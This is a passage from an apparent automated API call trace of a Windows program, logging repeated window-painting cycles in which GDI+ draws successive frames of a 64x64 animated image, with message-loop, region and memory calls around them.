0x0 [0159.130] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0159.130] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0159.130] GdipDeleteMatrix (matrix=0x1dc0a590) returned 0x0 [0159.130] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d7c0) returned 0x0 [0159.130] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d780) returned 0x0 [0159.130] GdipGetRegionHRgn (region=0x1de43ea0, graphics=0x1de4fd10, hRgn=0x15d780) returned 0x0 [0159.131] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0159.131] GdipDeleteRegion (region=0x1de43ea0) returned 0x0 [0159.131] GdipGetDC (graphics=0x1de4fd10, hdc=0x15d7f0) returned 0x0 [0159.131] GetCurrentObject (hdc=0x1e010bab, type=0x1) returned 0x1b00017 [0159.131] GetCurrentObject (hdc=0x1e010bab, type=0x2) returned 0x1900010 [0159.131] GetCurrentObject (hdc=0x1e010bab, type=0x7) returned 0x1a05067e [0159.131] GetCurrentObject (hdc=0x1e010bab, type=0x6) returned 0x18a002e [0159.131] SaveDC (hdc=0x1e010bab) returned 1 [0159.131] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0xffffffffed040b8a [0159.131] GetClipRgn (hdc=0x1e010bab, hrgn=0xffffffffed040b8a) returned 0 [0159.131] SelectClipRgn (hdc=0x1e010bab, hrgn=0x1d0407c3) returned 2 [0159.131] DeleteObject (ho=0xffffffffed040b8a) returned 1 [0159.131] DeleteObject (ho=0x1d0407c3) returned 1 [0159.132] OffsetViewportOrgEx (in: hdc=0x1e010bab, x=0, y=0, lppt=0x271c6b0 | out: lppt=0x271c6b0) returned 1 [0159.132] GetNearestColor (hdc=0x1e010bab, color=0xffffff) returned 0xffffff [0159.132] CreateSolidBrush (color=0xffffff) returned 0xfffffffff5100190 [0159.132] FillRect (hDC=0x1e010bab, lprc=0x15d7c0, hbr=0xfffffffff5100190) returned 1 [0159.132] DeleteObject (ho=0xfffffffff5100190) returned 1 [0159.132] RestoreDC (hdc=0x1e010bab, nSavedDC=-1) returned 1 [0159.132] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0159.132] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x1e010bab) returned 0x0 [0159.132] GdipRestoreGraphics (graphics=0x1de4fd10, state=0xfffffffffbfc0dbd) returned 0x0 [0159.132] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0159.132] GdipDeleteRegion (region=0x1de43de0) returned 0x0 [0159.132] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0159.132] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0159.132] GetSystemMetrics (nIndex=42) returned 0 [0159.132] CoTaskMemAlloc (cb=0x6) returned 0x1e91eca0 [0159.133] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e91eca0, nMaxCount=1 | out: lpString="") returned 0 [0159.133] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e91eca0) returned 0x0 [0159.133] CoTaskMemFree (pv=0x1e91eca0) [0159.133] GdipImageSelectActiveFrame (image=0x1dc21b40, dimensionID=0x15db10*(Data1=0x6aedbd6d, Data2=0x3fb5, Data3=0x418a, Data4=([0]=0x83, [1]=0xa6, [2]=0x7f, [3]=0x45, [4]=0x22, [5]=0x9d, [6]=0xc8, [7]=0x72)), frameIndex=0xa) returned 0x0 [0159.135] GdipGetImageWidth (image=0x1dc21b40, width=0x15da30) returned 0x0 [0159.135] GdipGetImageHeight (image=0x1dc21b40, height=0x15da30) returned 0x0 [0159.135] GdipDrawImageRectI (graphics=0x1de4fd10, image=0x1dc21b40, x=0, y=0, width=64, height=64) returned 0x0 [0159.135] GdipGetDC (graphics=0x1de4fd10, hdc=0x15dbf0) returned 0x0 [0159.135] BitBlt (hdc=0x3010b83, x=0, y=0, cx=64, cy=64, hdcSrc=0x1e010bab, x1=0, y1=0, rop=0xcc0020) returned 1 [0159.135] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0159.135] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x1e010bab) returned 0x0 [0159.135] SelectObject (hdc=0x1e010bab, h=0x185000f) returned 0x1a05067e [0159.135] DeleteDC (hdc=0x1e010bab) returned 1 [0159.135] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0159.136] GdipDeleteGraphics (graphics=0x1de4fd10) returned 0x0 [0159.136] SelectPalette (hdc=0x3010b83, hPal=0x188000b, bForceBkgd=0) returned 0x32080181 [0159.136] EndPaint (hWnd=0x2031e, lpPaint=0x15dcf8) returned 1 [0159.136] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0159.136] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0159.136] WaitMessage () returned 1 [0159.314] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0159.314] IsWindowUnicode (hWnd=0x2031e) returned 1 [0159.314] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0159.314] TranslateMessage (lpMsg=0x15e910) returned 0 [0159.314] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0159.314] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x15d660 | out: lpdwProcessId=0x15d660) returned 0xec0 [0159.314] GetCurrentThreadId () returned 0xec0 [0159.314] InvalidateRect (hWnd=0x2031e, lpRect=0x0, bErase=1) returned 1 [0159.314] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0159.314] IsWindowUnicode (hWnd=0x2031e) returned 1 [0159.314] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0159.314] TranslateMessage (lpMsg=0x15e910) returned 0 [0159.314] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0159.314] BeginPaint (in: hWnd=0x2031e, lpPaint=0x15dce8 | out: lpPaint=0x15dce8) returned 0x3010b83 [0159.314] SelectPalette (hdc=0x3010b83, hPal=0x32080181, bForceBkgd=1) returned 0x188000b [0159.315] CreateCompatibleDC (hdc=0x3010b83) returned 0x1f010bab [0159.315] SelectObject (hdc=0x1f010bab, h=0x1a05067e) returned 0x185000f [0159.315] GdipCreateFromHDC (hdc=0x1f010bab, graphics=0x15daf0) returned 0x0 [0159.315] GdipTranslateWorldTransform (graphics=0x1de4fd10, dx=0x0, dy=0x7fef2dbba58, order=0x0) returned 0x0 [0159.315] GdipSetClipRectI (graphics=0x1de4fd10, x=0, y=0, width=64, height=64, combineMode=0x0) returned 0x0 [0159.315] GdipCreateMatrix (matrix=0x15dc20) returned 0x0 [0159.315] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a510) returned 0x0 [0159.315] GdipIsMatrixIdentity (matrix=0x1dc0a510, result=0x15dc80) returned 0x0 [0159.315] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0159.315] GdipGetMatrixElements (matrix=0x1dc0a510, matrixOut=0x1e7b48a0) returned 0x0 [0159.316] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0159.316] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0159.316] GdipDeleteMatrix (matrix=0x1dc0a510) returned 0x0 [0159.316] GdipCreateRegion (region=0x15dc20) returned 0x0 [0159.316] GdipGetClip (graphics=0x1de4fd10, region=0x1d2e7c10) returned 0x0 [0159.316] GdipIsInfiniteRegion (region=0x1d2e7c10, graphics=0x1de4fd10, result=0x15dc50) returned 0x0 [0159.316] GdipSaveGraphics (graphics=0x1de4fd10, state=0x15dd20) returned 0x0 [0159.316] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0159.316] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0159.317] GetSystemMetrics (nIndex=42) returned 0 [0159.317] CoTaskMemAlloc (cb=0x6) returned 0x1e91eca0 [0159.317] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e91eca0, nMaxCount=1 | out: lpString="") returned 0 [0159.317] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e91eca0) returned 0x0 [0159.317] CoTaskMemFree (pv=0x1e91eca0) [0159.317] GetClientRect (in: hWnd=0x2031e, lpRect=0x15dc80 | out: lpRect=0x15dc80) returned 1 [0159.317] GdipCreateRegion (region=0x15d710) returned 0x0 [0159.317] GdipGetClip (graphics=0x1de4fd10, region=0x1de43ea0) returned 0x0 [0159.317] GdipCreateMatrix (matrix=0x15d710) returned 0x0 [0159.317] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a590) returned 0x0 [0159.317] GdipIsMatrixIdentity (matrix=0x1dc0a590, result=0x15d770) returned 0x0 [0159.317] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0159.317] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7b48a0) returned 0x0 [0159.318] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0159.318] GdipCombineRegionRegion (region=0x1de43ea0, region2=0x1d2e7c10, combineMode=0x1) returned 0x0 [0159.318] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0159.318] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7b48a0) returned 0x0 [0159.319] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0159.319] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0159.319] GdipDeleteMatrix (matrix=0x1dc0a590) returned 0x0 [0159.319] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d7c0) returned 0x0 [0159.319] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d780) returned 0x0 [0159.319] GdipGetRegionHRgn (region=0x1de43ea0, graphics=0x1de4fd10, hRgn=0x15d780) returned 0x0 [0159.319] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0159.319] GdipDeleteRegion (region=0x1de43ea0) returned 0x0 [0159.319] GdipGetDC (graphics=0x1de4fd10, hdc=0x15d7f0) returned 0x0 [0159.320] GetCurrentObject (hdc=0x1f010bab, type=0x1) returned 0x1b00017 [0159.320] GetCurrentObject (hdc=0x1f010bab, type=0x2) returned 0x1900010 [0159.320] GetCurrentObject (hdc=0x1f010bab, type=0x7) returned 0x1a05067e [0159.320] GetCurrentObject (hdc=0x1f010bab, type=0x6) returned 0x18a002e [0159.320] SaveDC (hdc=0x1f010bab) returned 1 [0159.320] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0x1e0407c3 [0159.320] GetClipRgn (hdc=0x1f010bab, hrgn=0x1e0407c3) returned 0 [0159.320] SelectClipRgn (hdc=0x1f010bab, hrgn=0xffffffffee040b8a) returned 2 [0159.320] DeleteObject (ho=0x1e0407c3) returned 1 [0159.320] DeleteObject (ho=0xffffffffee040b8a) returned 1 [0159.320] OffsetViewportOrgEx (in: hdc=0x1f010bab, x=0, y=0, lppt=0x271d9d8 | out: lppt=0x271d9d8) returned 1 [0159.320] GetNearestColor (hdc=0x1f010bab, color=0xffffff) returned 0xffffff [0159.321] CreateSolidBrush (color=0xffffff) returned 0xfffffffff6100190 [0159.321] FillRect (hDC=0x1f010bab, lprc=0x15d7c0, hbr=0xfffffffff6100190) returned 1 [0159.321] DeleteObject (ho=0xfffffffff6100190) returned 1 [0159.321] RestoreDC (hdc=0x1f010bab, nSavedDC=-1) returned 1 [0159.321] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0159.321] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x1f010bab) returned 0x0 [0159.321] GdipRestoreGraphics (graphics=0x1de4fd10, state=0xfffffffffbfa0dbd) returned 0x0 [0159.321] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0159.321] GdipDeleteRegion (region=0x1d2e7c10) returned 0x0 [0159.321] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0159.321] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0159.322] GetSystemMetrics (nIndex=42) returned 0 [0159.322] CoTaskMemAlloc (cb=0x6) returned 0x1e91eca0 [0159.322] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e91eca0, nMaxCount=1 | out: lpString="") returned 0 [0159.322] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e91eca0) returned 0x0 [0159.322] CoTaskMemFree (pv=0x1e91eca0) [0159.322] GdipGetImageWidth (image=0x1dc21b40, width=0x15da30) returned 0x0 [0159.322] GdipGetImageHeight (image=0x1dc21b40, height=0x15da30) returned 0x0 [0159.322] GdipDrawImageRectI (graphics=0x1de4fd10, image=0x1dc21b40, x=0, y=0, width=64, height=64) returned 0x0 [0159.322] GdipGetDC (graphics=0x1de4fd10, hdc=0x15dbf0) returned 0x0 [0159.322] BitBlt (hdc=0x3010b83, x=0, y=0, cx=64, cy=64, hdcSrc=0x1f010bab, x1=0, y1=0, rop=0xcc0020) returned 1 [0159.322] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0159.323] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x1f010bab) returned 0x0 [0159.323] SelectObject (hdc=0x1f010bab, h=0x185000f) returned 0x1a05067e [0159.323] DeleteDC (hdc=0x1f010bab) returned 1 [0159.323] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0159.323] GdipDeleteGraphics (graphics=0x1de4fd10) returned 0x0 [0159.323] SelectPalette (hdc=0x3010b83, hPal=0x188000b, bForceBkgd=0) returned 0x32080181 [0159.323] EndPaint (hWnd=0x2031e, lpPaint=0x15dcf8) returned 1 [0159.323] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0159.323] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0159.323] WaitMessage () returned 1 [0159.492] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0159.492] IsWindowUnicode (hWnd=0x2031e) returned 1 [0159.492] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0159.492] TranslateMessage (lpMsg=0x15e910) returned 0 [0159.492] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0159.492] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x15d660 | out: lpdwProcessId=0x15d660) returned 0xec0 [0159.492] GetCurrentThreadId () returned 0xec0 [0159.493] InvalidateRect (hWnd=0x2031e, lpRect=0x0, bErase=1) returned 1 [0159.493] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0159.493] IsWindowUnicode (hWnd=0x2031e) returned 1 [0159.493] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0159.493] TranslateMessage (lpMsg=0x15e910) returned 0 [0159.493] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0159.493] BeginPaint (in: hWnd=0x2031e, lpPaint=0x15dce8 | out: lpPaint=0x15dce8) returned 0x3010b83 [0159.493] SelectPalette (hdc=0x3010b83, hPal=0x32080181, bForceBkgd=1) returned 0x188000b [0159.493] CreateCompatibleDC (hdc=0x3010b83) returned 0x20010bab [0159.493] SelectObject (hdc=0x20010bab, h=0x1a05067e) returned 0x185000f [0159.493] GdipCreateFromHDC (hdc=0x20010bab, graphics=0x15daf0) returned 0x0 [0159.494] GdipTranslateWorldTransform (graphics=0x1de4fd10, dx=0x0, dy=0x7fef2dbba58, order=0x0) returned 0x0 [0159.494] GdipSetClipRectI (graphics=0x1de4fd10, x=0, y=0, width=64, height=64, combineMode=0x0) returned 0x0 [0159.494] GdipCreateMatrix (matrix=0x15dc20) returned 0x0 [0159.494] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a510) returned 0x0 [0159.494] GdipIsMatrixIdentity (matrix=0x1dc0a510, result=0x15dc80) returned 0x0 [0159.494] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0159.494] GdipGetMatrixElements (matrix=0x1dc0a510, matrixOut=0x1e7b48a0) returned 0x0 [0159.495] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0159.495] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0159.495] GdipDeleteMatrix (matrix=0x1dc0a510) returned 0x0 [0159.495] GdipCreateRegion (region=0x15dc20) returned 0x0 [0159.495] GdipGetClip (graphics=0x1de4fd10, region=0x1d2e7c10) returned 0x0 [0159.495] GdipIsInfiniteRegion (region=0x1d2e7c10, graphics=0x1de4fd10, result=0x15dc50) returned 0x0 [0159.495] GdipSaveGraphics (graphics=0x1de4fd10, state=0x15dd20) returned 0x0 [0159.496] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0159.496] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0159.496] GetSystemMetrics (nIndex=42) returned 0 [0159.496] CoTaskMemAlloc (cb=0x6) returned 0x1e91eca0 [0159.496] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e91eca0, nMaxCount=1 | out: lpString="") returned 0 [0159.496] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e91eca0) returned 0x0 [0159.496] CoTaskMemFree (pv=0x1e91eca0) [0159.496] GetClientRect (in: hWnd=0x2031e, lpRect=0x15dc80 | out: lpRect=0x15dc80) returned 1 [0159.496] GdipCreateRegion (region=0x15d710) returned 0x0 [0159.496] GdipGetClip (graphics=0x1de4fd10, region=0x1de43ea0) returned 0x0 [0159.496] GdipCreateMatrix (matrix=0x15d710) returned 0x0 [0159.496] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a590) returned 0x0 [0159.496] GdipIsMatrixIdentity (matrix=0x1dc0a590, result=0x15d770) returned 0x0 [0159.497] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0159.497] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7b48a0) returned 0x0 [0159.497] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0159.497] GdipCombineRegionRegion (region=0x1de43ea0, region2=0x1d2e7c10, combineMode=0x1) returned 0x0 [0159.497] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0159.497] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7b48a0) returned 0x0 [0159.498] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0159.498] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0159.498] GdipDeleteMatrix (matrix=0x1dc0a590) returned 0x0 [0159.498] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d7c0) returned 0x0 [0159.498] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d780) returned 0x0 [0159.498] GdipGetRegionHRgn (region=0x1de43ea0, graphics=0x1de4fd10, hRgn=0x15d780) returned 0x0 [0159.499] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0159.499] GdipDeleteRegion (region=0x1de43ea0) returned 0x0 [0159.499] GdipGetDC (graphics=0x1de4fd10, hdc=0x15d7f0) returned 0x0 [0159.499] GetCurrentObject (hdc=0x20010bab, type=0x1) returned 0x1b00017 [0159.499] GetCurrentObject (hdc=0x20010bab, type=0x2) returned 0x1900010 [0159.499] GetCurrentObject (hdc=0x20010bab, type=0x7) returned 0x1a05067e [0159.499] GetCurrentObject (hdc=0x20010bab, type=0x6) returned 0x18a002e [0159.499] SaveDC (hdc=0x20010bab) returned 1 [0159.499] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0xffffffffef040b8a [0159.499] GetClipRgn (hdc=0x20010bab, hrgn=0xffffffffef040b8a) returned 0 [0159.499] SelectClipRgn (hdc=0x20010bab, hrgn=0x1f0407c3) returned 2 [0159.499] DeleteObject (ho=0xffffffffef040b8a) returned 1 [0159.500] DeleteObject (ho=0x1f0407c3) returned 1 [0159.500] OffsetViewportOrgEx (in: hdc=0x20010bab, x=0, y=0, lppt=0x271e310 | out: lppt=0x271e310) returned 1 [0159.500] GetNearestColor (hdc=0x20010bab, color=0xffffff) returned 0xffffff [0159.500] CreateSolidBrush (color=0xffffff) returned 0xfffffffff7100190 [0159.500] FillRect (hDC=0x20010bab, lprc=0x15d7c0, hbr=0xfffffffff7100190) returned 1 [0159.500] DeleteObject (ho=0xfffffffff7100190) returned 1 [0159.500] RestoreDC (hdc=0x20010bab, nSavedDC=-1) returned 1 [0159.500] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0159.501] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x20010bab) returned 0x0 [0159.501] GdipRestoreGraphics (graphics=0x1de4fd10, state=0xfffffffffbf80dbd) returned 0x0 [0159.501] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0159.501] GdipDeleteRegion (region=0x1d2e7c10) returned 0x0 [0159.501] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0159.501] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0159.501] GetSystemMetrics (nIndex=42) returned 0 [0159.501] CoTaskMemAlloc (cb=0x6) returned 0x1e91eca0 [0159.501] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e91eca0, nMaxCount=1 | out: lpString="") returned 0 [0159.501] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e91eca0) returned 0x0 [0159.501] CoTaskMemFree (pv=0x1e91eca0) [0159.501] GdipImageSelectActiveFrame (image=0x1dc21b40, dimensionID=0x15db10*(Data1=0x6aedbd6d, Data2=0x3fb5, Data3=0x418a, Data4=([0]=0x83, [1]=0xa6, [2]=0x7f, [3]=0x45, [4]=0x22, [5]=0x9d, [6]=0xc8, [7]=0x72)), frameIndex=0xc) returned 0x0 [0159.504] GdipGetImageWidth (image=0x1dc21b40, width=0x15da30) returned 0x0 [0159.504] GdipGetImageHeight (image=0x1dc21b40, height=0x15da30) returned 0x0 [0159.504] GdipDrawImageRectI (graphics=0x1de4fd10, image=0x1dc21b40, x=0, y=0, width=64, height=64) returned 0x0 [0159.504] GdipGetDC (graphics=0x1de4fd10, hdc=0x15dbf0) returned 0x0 [0159.504] BitBlt (hdc=0x3010b83, x=0, y=0, cx=64, cy=64, hdcSrc=0x20010bab, x1=0, y1=0, rop=0xcc0020) returned 1 [0159.504] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0159.504] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x20010bab) returned 0x0 [0159.504] SelectObject (hdc=0x20010bab, h=0x185000f) returned 0x1a05067e [0159.505] DeleteDC (hdc=0x20010bab) returned 1 [0159.505] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0159.505] GdipDeleteGraphics (graphics=0x1de4fd10) returned 0x0 [0159.505] SelectPalette (hdc=0x3010b83, hPal=0x188000b, bForceBkgd=0) returned 0x32080181 [0159.505] EndPaint (hWnd=0x2031e, lpPaint=0x15dcf8) returned 1 [0159.505] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0159.505] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0159.505] WaitMessage () returned 1 [0159.673] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0159.673] IsWindowUnicode (hWnd=0x2031e) returned 1 [0159.673] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0159.673] TranslateMessage (lpMsg=0x15e910) returned 0 [0159.673] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0159.673] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x15d660 | out: lpdwProcessId=0x15d660) returned 0xec0 [0159.673] GetCurrentThreadId () returned 0xec0 [0159.673] InvalidateRect (hWnd=0x2031e, lpRect=0x0, bErase=1) returned 1 [0159.673] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0159.673] IsWindowUnicode (hWnd=0x2031e) returned 1 [0159.673] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0159.673] TranslateMessage (lpMsg=0x15e910) returned 0 [0159.673] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0159.673] BeginPaint (in: hWnd=0x2031e, lpPaint=0x15dce8 | out: lpPaint=0x15dce8) returned 0x3010b83 [0159.673] SelectPalette (hdc=0x3010b83, hPal=0x32080181, bForceBkgd=1) returned 0x188000b [0159.673] CreateCompatibleDC (hdc=0x3010b83) returned 0x21010bab [0159.674] SelectObject (hdc=0x21010bab, h=0x1a05067e) returned 0x185000f [0159.674] GdipCreateFromHDC (hdc=0x21010bab, graphics=0x15daf0) returned 0x0 [0159.674] GdipTranslateWorldTransform (graphics=0x1de4fd10, dx=0x0, dy=0x7fef2dbba58, order=0x0) returned 0x0 [0159.674] GdipSetClipRectI (graphics=0x1de4fd10, x=0, y=0, width=64, height=64, combineMode=0x0) returned 0x0 [0159.674] GdipCreateMatrix (matrix=0x15dc20) returned 0x0 [0159.674] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a510) returned 0x0 [0159.674] GdipIsMatrixIdentity (matrix=0x1dc0a510, result=0x15dc80) returned 0x0 [0159.674] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0159.674] GdipGetMatrixElements (matrix=0x1dc0a510, matrixOut=0x1e7b48a0) returned 0x0 [0159.675] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0159.675] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0159.675] GdipDeleteMatrix (matrix=0x1dc0a510) returned 0x0 [0159.675] GdipCreateRegion (region=0x15dc20) returned 0x0 [0159.675] GdipGetClip (graphics=0x1de4fd10, region=0x1de43de0) returned 0x0 [0159.675] GdipIsInfiniteRegion (region=0x1de43de0, graphics=0x1de4fd10, result=0x15dc50) returned 0x0 [0159.675] GdipSaveGraphics (graphics=0x1de4fd10, state=0x15dd20) returned 0x0 [0159.675] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0159.675] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0159.675] GetSystemMetrics (nIndex=42) returned 0 [0159.675] CoTaskMemAlloc (cb=0x6) returned 0x1e91eca0 [0159.676] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e91eca0, nMaxCount=1 | out: lpString="") returned 0 [0159.676] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e91eca0) returned 0x0 [0159.676] CoTaskMemFree (pv=0x1e91eca0) [0159.676] GetClientRect (in: hWnd=0x2031e, lpRect=0x15dc80 | out: lpRect=0x15dc80) returned 1 [0159.676] GdipCreateRegion (region=0x15d710) returned 0x0 [0159.676] GdipGetClip (graphics=0x1de4fd10, region=0x1de43ea0) returned 0x0 [0159.676] GdipCreateMatrix (matrix=0x15d710) returned 0x0 [0159.676] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a590) returned 0x0 [0159.676] GdipIsMatrixIdentity (matrix=0x1dc0a590, result=0x15d770) returned 0x0 [0159.676] LocalAlloc 